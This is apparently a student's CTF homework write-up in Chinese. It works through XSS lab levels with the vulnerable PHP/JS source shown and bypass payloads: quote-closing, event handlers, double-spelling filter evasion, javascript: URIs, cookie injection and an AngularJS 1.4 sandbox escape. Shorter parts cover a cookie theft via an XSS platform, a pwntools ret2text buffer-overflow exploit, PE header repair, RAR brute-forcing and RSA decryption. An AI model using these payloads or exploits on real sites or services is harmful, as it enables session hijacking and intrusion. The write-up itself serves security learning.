第四周作业

xss

XSS 漏洞简介

​ XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

XSS的原理

攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。

诱使受害者打开受到攻击的服务器URL。

受害者在Web浏览器中打开URL,恶意脚本执行。

XSS的攻击方式

反射型xss;存储型xss;DOM型xss

一些常用的标签与属性

script标签;img标签;input标签;details标签;svg标签;select标签;iframe标签;video标签;veido标签;audio标签;body标签;textarea标签;keygen标签;marquee标签;isindex标签;

常见的基本过滤方法

空格过滤;引号过滤;括号过滤;关键词过滤(大小写绕过;双写绕过);字符串拼接绕过;编码绕过;过滤URL地址;单引号闭合;Javascript伪协议;httponly绕过;常规waf绕过( 标签语法替换;特殊符号干扰;提交方式更改;垃圾数据溢出;加密解密算法;结合其他漏洞绕过**)**

xss-labs

level 1

发现URL上的GET型传参,name就是payload攻击的点,查看源码发现完成第一关就会直接跳到第二关

先用简单的Upload试一下,<script>alert()</script>,直接通关

level 2

先查看源码

复制代码
​

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

[点击并拖拽以移动]
​

跟第一关有点像,但value的值被双引号包裹,需要闭合双引号,同时闭合标签。

构造Upload:"> <script>alert()</script>,直接下一关

level 3

先查看源码

复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

与上一关不同,这关是闭合单引号,发现htmlspecialchars函数,对<>(即大于小于号)进行html实体化,遇到实体化,我们可以使用事件来绕过,这里使用onfocus或onmouseover事件绕过:

' οnfοcus=javascript:alert() '

level 5

先查看源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

发现测试点keyword,尝试了前几关的代码,发现对事件on进行了过滤,将<script>转化为<scr_ipt>;onclick被转化为o_nclick;

这里我们可以使用a href标签构造payload:"/><a href=javascript:alert()>通关</a><"

点击通关即可

level 7

先查看一下源码

cpp 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

发现过滤了script,on,scr,data,herf;去查找了一下绕过方式,发现这里我们可以使用双拼写绕过,payload:"/><a hrehreff=javasscriptcript:alert()>通关</a><"

点击通关即可

level 8

先查看一下源码

php 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

​

发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了大小写转化函数,还有过滤掉了src;data;onfocus;href;script;"(双引号);

这里可以使用href的隐藏属性-自动unicode解码

输入后点击友情链接就可以了

level 13

先查看源码

php 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

分析后发现新的注入点cook,再根据提示应该就是cookie绕过

谁便GET一个后F12检查代码,查看后发现cookie的请求头,再根据源码的分析,可以使用hackbar将cookie修改:user= " type="text" οnmοuseοver="alert(1)

PE结构

先了解一下什么是PE结构:PE文件的全称是Portable Executable,意为可移植的可执行文件,是微软Windows操作系统上广泛使用的程序文件格式(包括间接被执行的文件,如DLL)。PE文件被称为"可移植的"是因为在所有平台(如x86、Alpha、MIPS等)上实现的Windows NT及其后续版本(如Windows 95、Windows 2000、Windows XP、Windows Vista、Windows 7、Windows 8、Windows 10等)都使用相同的可执行文件格式。

这题主要考察判断PE文件

具体来说,PE指纹的识别过程通常包括以下几个步骤:(找的资料)

观察前两个字节:打开PE文件,以二进制方式(010editor)查看文件的前两个字节。在PE文件中,这两个字节通常是"MZ",这是DOS可执行文件的标志,用于兼容旧版DOS系统。虽然"MZ"并不是PE文件特有的,但它通常作为PE文件头部的开始。

查找PE标识:在文件偏移量为0x3C(即第60个字节)的位置,有一个DWORD值,它指向DOS块末尾的PE文件头的偏移量。根据这个偏移量,可以找到PE文件头的开始位置。在PE文件头的开始位置,紧接着"MZ"之后,通常会有"PE"或"PE\0\0"(即50 45 00 00)这样的字节序列,这是PE文件的真正标识。

验证PE头结构:一旦找到PE标识,就可以进一步验证PE文件头的结构是否符合PE格式的标准。PE文件头包含了关于文件的重要信息,如目标机器类型、节的数量、入口点地址等。

先用010打开

发现DOS头被修改了,只需要将原本的57改为4D就可以了,改完后直接运行程序就可得到flag

BUU XSS COURSE 1

打开链接后发现在吐槽框输入1,得到URL后打开得到1的回显

尝试输入一个简单的xss代码:

复制代码
<script>alert(1)</script>

发现没有得到回显,尝试去使用一下xss平台

只发现了cookie值,去查看了一下大佬的wp,发现他们使用xss平台后得到的都含有一个admin.php

按照大佬的wp需要将admin的cookie值换为PHPSESSID=84c1823d0b235c1818412b128a1b5986

xianzhi_xss_1

这题打开后发现没有什么思路

题目给了题目源码,先查看一下源码

发现有很多个源码,分别对应每个文件,又去尝试点开每个文件的链接,也没有任何的信息

没招了,wp也查不到,崩溃了

XSS_闯关

第一关

打开链接,发现username注入点

我们先简单尝试一下,<script>alert()</script>

直接通关

第二关

尝试使用第一关的套路,发现没有回显,先查看一下页面源代码

发现username被函数escape进行url编码,这里需要绕过赋值的代码,使用';闭合前面的' 。构造payload:';alert(1);'

第三关

先尝试一下上一关payload,发现没有什么回显,查看一下页面源码

php 复制代码
<html lang="zh"><head>
    <meta charset="UTF-8">
    <title>XSS配套测试平台</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
    <script type="text/javascript" src="main.js"></script>
    <style>
        html, body, .app-wrapper {
            position: relative;
            width: 100%;
            height: 100%;
            margin: 0;
            padding: 0;
        }
    </style>
</head>
<body>
    <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
    	<div id="ccc">
    		
    	</div>
    </span></div></div></div></div></div></div>
    <script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = '\';alert(1);'';
    	document.getElementById('ccc').innerHTML= "Welcome " + username;
    </script>

</body></html>

发现与上一关又所不同的是多了一个\+',单引号'被转义,查了一下相当于''构成了闭合,构造payload:'';alert(1);'1

第四关

进入后发现,页面一直在进入一个死循环,先查看一下网页源代码

php 复制代码
<script type="text/javascript">
var time = 10;  //倒计时初始值
var jumpUrl;  //存储跳转目标url
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;  //没有查询参数的时候跳转本页
}else{
jumpUrl = getQueryVariable('jumpUrl');  //调用查询参数
}
setTimeout(jump,1000,time);  //1秒后启动倒计时
function jump(time){
if(time == 0){
location.href = jumpUrl;  //倒计时结束跳转
}else{
time = time - 1 ;  //秒数递减1
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`; //更新提示
setTimeout(jump,1000,time);  //递归调用
} 
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);  //获取查询参数
var vars = query.split("&"); //分割成键值对数组
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");  //分割键值
if(pair[0] == variable) {
return pair[1];}  //返回匹配值
}
return(false);  //没有找到查询参数就返回false
}
</script>

发现将jumpurl作为URL跳转目标,这里可以使用JavaScript伪链接

jumpUrl=javascript:alert(1)

第五关

发现一个输入框,尝试输入发现得到的都是一个回显,先查看一下网页源代码

php 复制代码
<html lang="zh"><head>
    <meta charset="UTF-8">
    <title>XSS配套测试平台</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
    <script type="text/javascript" src="main.js"></script>
    <style>
        html, body, .app-wrapper {
            position: relative;
            width: 100%;
            height: 100%;
            margin: 0;
            padding: 0;
        }
    </style>
</head>
<body>
    <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
    	<div id="ccc">
    		自动提交表单
    		<form action="" method="POST" id="autoForm">
    			<input type="text" name="test">
    			<input type="submit">
    		</form>
    	</div>
    </span></div></div></div></div></div></div>
    <script type="text/javascript">
    	if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>

</body></html>

发现代码中定义了两个变量,只需要绕过这两个变量就行了,payload:

复制代码
?autosubmit=1&action=JavaScript:alert(1);//

第六关

先尝试了一下简单代码

发现直接回显在了页面上,先查看一下页面源代码

php 复制代码
<html lang="zh"><head>
    <meta charset="UTF-8">
    <title>XSS配套测试平台</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
    <script type="text/javascript" src="main.js"></script>
    <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
    <style>
        html, body, .app-wrapper {
            position: relative;
            width: 100%;
            height: 100%;
            margin: 0;
            padding: 0;
        }
    </style>
</head>
<body>
    <div id="root" class="app-wrapper amis-scope" ng-app=""><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">welcome &#x3c;script>alert()&#x3c;/script></span></div></div></div></div></div></div>
    <script type="text/javascript">
    if(location.search == ""){
        location.search = "?username=xss"
    }
</script>

</body></html>

发现了一个js链接,进去后发现一大串,看不懂

去查找了一下资料,发现是xss模板注入(沙箱逃逸),先输入{{7*7}},返回49说明存在xss漏洞

直接Angular(版本号v1.4.0-v1.4.9)沙箱逃逸,payload如下:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

神秘龙卷风

下载后发现是一个rar加密包,使用随波逐流进行强力爆破

爆破后密码为5463,打开后得到

查了一下发现是一种名为"Brainfuck"的计算机语言。找一个在线解码工具:Brainfuck Interpreter

得到flag

[NewStarCTF 公开赛赛道]ret2text

先用kali,checksec一下,发现只开启了NX,是64的amd文件,将其拖入IDA里面查看一下

跟进后发现调用函数的地址:0X400708

点击mian函数查看伪代码,发现scanf("%s",v4),栈溢出漏洞

双击v4发现溢出28个字节,去找了一下大佬的exp

python 复制代码
from pwn import *

p = remote('node4.buuoj.cn', 27021)


bin_sh = 0x400708

payload = b'a'*0x28 + p64(bin_sh)


p.sendline(payload)
p.interactive()

在kali里运行exp.py后使用cat /flag就可以获得flag

LSB

下载后是一张图片,使用Stegsolve打开

将red,green,blue调为0,保存后是一张二维码

扫描后得到flag cumtctf{1sb_i4_s0_Ea4y},将其改为flag形式就行了

rsarsa

下载后得到题目,是简单的RSA

找一个简单的RSA脚本运行后得到flag

python 复制代码
import gmpy2
e = 65537
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
n = p*q
#密文
C = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
 
d =gmpy2.invert(e,(p-1)*(q-1))
print(d)
#求明文
M = pow(C,d,n)    #快速求幂取模运算

flag{5577446633554466577768879988}

相关推荐
kali-Myon10 小时前
2025春秋杯网络安全联赛冬季赛-day2
python·安全·web安全·ai·php·pwn·ctf
kali-Myon11 小时前
2025春秋杯网络安全联赛冬季赛-day1
java·sql·安全·web安全·ai·php·web
kali-Myon11 小时前
2025春秋杯网络安全联赛冬季赛-day3
python·安全·web安全·ai·php·web·ctf
键盘帽子3 天前
长连接中异步任务的同步等待陷阱:一次主线程阻塞的排查与修复
java·websocket·java-ee·web
索荣荣3 天前
Web基石:Java Servlet 全面指南:从基础原理到 Spring Boot 实战
java·springboot·web
冰敷逆向4 天前
京东h5st纯算分析
java·前端·javascript·爬虫·安全·web
妄汐霜4 天前
小白学习笔记(javaweb前端三大件)
笔记·学习·web
曲幽4 天前
FastAPI生命周期管理实战:从启动到关闭,如何优雅地管好你的“资源家当”
redis·python·fastapi·web·shutdown·startup·lifespan